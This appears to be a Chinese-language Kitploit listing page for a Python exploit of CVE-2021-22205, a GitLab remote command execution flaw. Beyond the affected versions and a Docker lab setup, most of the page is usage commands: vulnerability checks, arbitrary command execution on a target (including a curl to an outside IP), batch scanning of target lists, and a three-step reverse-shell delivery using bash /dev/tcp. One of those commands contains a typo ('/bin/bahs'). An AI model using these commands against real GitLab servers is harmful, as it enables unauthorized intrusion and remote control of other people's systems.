Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22205 — Python exploit for CVE-2021-22205,一个GitLab CE/EE中的远程命令执行漏洞。支持单目标利用、批量扫描以及反弹Shell投递。 | Kitploit
工具/GitHubGitHub/devdanqtuan/cve-2021-22205
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具
GitHubdevdanqtuan/cve-2021-22205

CVE-2021-22205

Python exploit for CVE-2021-22205,一个GitLab CE/EE中的远程命令执行漏洞。支持单目标利用、批量扫描以及反弹Shell投递。

查看仓库
122年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

漏洞影响

GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件,导致远程命令执行。

受影响产品

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

环境

root@kitploit:~
export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

漏洞检测

基本用法
root@kitploit:~
python3 CVE-2021-2205.py
漏洞检测
root@kitploit:~
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
命令执行
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked!!!' > /tmp/1.txt"
批量扫描
root@kitploit:~
python3 CVE-2021-2205.py -s true -f target.txt
反弹 Shell
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

参考

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

下载工具